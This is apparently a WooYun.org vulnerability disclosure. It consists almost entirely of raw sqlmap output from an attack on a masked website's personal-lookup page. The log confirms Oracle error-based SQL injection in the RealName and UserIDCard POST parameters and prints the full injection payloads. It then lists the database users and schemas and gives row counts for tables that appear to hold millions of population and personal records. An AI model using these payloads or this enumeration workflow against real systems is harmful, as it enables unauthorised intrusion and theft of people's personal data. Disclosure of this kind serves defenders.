WooYun.org

http://**.**.**.**/chaxun_geren.asp

[01:06:47] [INFO] testing connection to the target URL
[01:06:48] [INFO] testing if the target URL is stable. This can take a couple of
 seconds
[01:06:50] [INFO] target URL is stable
[01:06:50] [INFO] testing if POST parameter 'RealName' is dynamic
[01:06:50] [WARNING] POST parameter 'RealName' does not appear dynamic
[01:06:50] [INFO] heuristic (basic) test shows that POST parameter 'RealName' mi
ght be injectable (possible DBMS: 'Oracle')
[01:06:50] [INFO] testing for SQL injection on POST parameter 'RealName'
[01:06:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:06:55] [WARNING] reflective value(s) found and filtering out
[01:06:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[01:07:00] [INFO] POST parameter 'RealName' is 'Oracle AND error-based - WHERE o
r HAVING clause (XMLType)' injectable
[01:07:07] [INFO] testing 'Oracle inline queries'
[01:07:07] [INFO] testing 'Oracle AND time-based blind'
[01:07:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:07:07] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[01:07:08] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[01:07:10] [INFO] target URL appears to have 1 column in query
POST parameter 'RealName' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
[01:07:14] [INFO] testing if POST parameter 'UserIDCard' is dynamic
[01:07:14] [WARNING] POST parameter 'UserIDCard' does not appear dynamic
[01:07:15] [INFO] heuristic (basic) test shows that POST parameter 'UserIDCard'
might be injectable (possible DBMS: 'Oracle')
[01:07:15] [INFO] testing for SQL injection on POST parameter 'UserIDCard'
[01:07:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:07:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[01:07:25] [INFO] POST parameter 'UserIDCard' is 'Oracle AND error-based - WHERE
 or HAVING clause (XMLType)' injectable
[01:07:25] [INFO] testing 'Oracle inline queries'
[01:07:25] [INFO] testing 'Oracle AND time-based blind'
[01:07:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
POST parameter 'UserIDCard' is vulnerable. Do you want to keep testing the other
s (if any)? [y/N] n
sqlmap identified the following injection points with a total of 59 HTTP(s) requ
ests:
---
Place: POST
Parameter: RealName
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: RealName=111' AND 7087=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(
113)||CHR(114)||CHR(115)||CHR(114)||CHR(113)||(SELECT (CASE WHEN (7087=7087) THE
N 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(101)||CHR(114)||CHR(113)||CH
R(62))) FROM DUAL) AND 'AcMJ'='AcMJ&UserIDCard=222&GetType=0&button=  %B2%E9%D1%
AF
Place: POST
Parameter: UserIDCard
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: RealName=111&UserIDCard=222' AND 2427=(SELECT UPPER(XMLType(CHR(60)
||CHR(58)||CHR(113)||CHR(114)||CHR(115)||CHR(114)||CHR(113)||(SELECT (CASE WHEN
(2427=2427) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(101)||CHR(114
)||CHR(113)||CHR(62))) FROM DUAL) AND 'RJbB'='RJbB&GetType=0&button=  %B2%E9%D1%
AF
---
there were multiple injection points, please select the one to use for following
 injections:
[0] place: POST, parameter: RealName, type: Single quoted string (default)
[1] place: POST, parameter: UserIDCard, type: Single quoted string
[q] Quit
> 0
[01:07:46] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5
back-end DBMS: Oracle
[01:07:46] [INFO] fetching current user
[01:07:46] [INFO] retrieved: XYS_DATA
current user:    'XYS_DATA'
[01:07:46] [INFO] fetching current database
[01:07:46] [INFO] resumed: XYS_DATA
[01:07:46] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle):    'XYS_DATA'
[01:07:46] [INFO] testing if current user is DBA
current user is DBA:    False
database management system users [42]:
[*] AMBULANCE
[*] ANONYMOUS
[*] APEX_030200
[*] APEX_PUBLIC_USER
[*] APPQOSSYS
[*] BI
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] EXFSYS
[*] FAREN
[*] FLOWS_FILES
[*] HR
[*] IX
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OCCIWRAPPER
[*] OE
[*] OLAPSYS
[*] ORACLE_OCM
[*] ORDDATA
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] OWBSYS_AUDIT
[*] PM
[*] SCOTT
[*] SH
[*] SI_INFORMTN_SCHEMA
[*] SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TAIJI
[*] WMSYS
[*] XDB
[*] XS$NULL
[*] XYS_DATA
[*] XYS_DATA_IMPORT
available databases [9]:
[*] APEX_030200
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] XDB
[*] XYS_DATA
Database: XYS_DATA
+-----------------------+---------+
| Table                 | Entries |
+-----------------------+---------+
| TBL_BASE_POPULATION   | 7505097 |
| TBL_SHEET_INFO_14     | 5186324 |
| BAK_SHEET_INFO_13     | 5178531 |
| WJW_EXTEND_CZRKPERSON | 4946198 |
| BAK_BASE_POPULATION   | 3770536 |
| TBL_SHEET_INFO_4      | 3710291 |
| WJW_EXTEND_LDRKPERSON | 398605  |
| TBL_SHEET_INFO_3      | 380000  |
| TBL_SHEET_INFO_8      | 376036  |
| TBL_SHEET_INFO_11     | 371212  |
| GJJ_EXTENDS_PERSON    | 357117  |
| TBL_SHEET_INFO_9      | 312138  |
| YGT_EXTEND_POPULATION | 200185  |
| TBL_BASE_ENTERPRISE   | 73195   |
| TBL_SHEET_INFO_22     | 45827   |
| TBL_SHEET_INFO_6      | 13468   |
| YGT_EXTEND_ENTERPRISE | 5680    |
| TBL_SHEET_INFO_26     | 1015    |
| TBL_SHEET_INFO_25     | 164     |
| TBL_SHEET_INFO_16     | 107     |
| TBL_SHEET_INFO_30     | 61      |
| TBL_SHEET_INFO_15     | 40      |
| TBL_SHEET_INFO_17     | 34      |
| TBL_SHEET_INFO_29     | 4       |
| TBL_SHEET_INFO_18     | 1       |
+-----------------------+---------+

| GJJ_EXTENDS_PERSON    | 357117  |
| WJW_EXTEND_CZRKPERSON | 4946198 |
| WJW_EXTEND_LDRKPERSON | 398605  |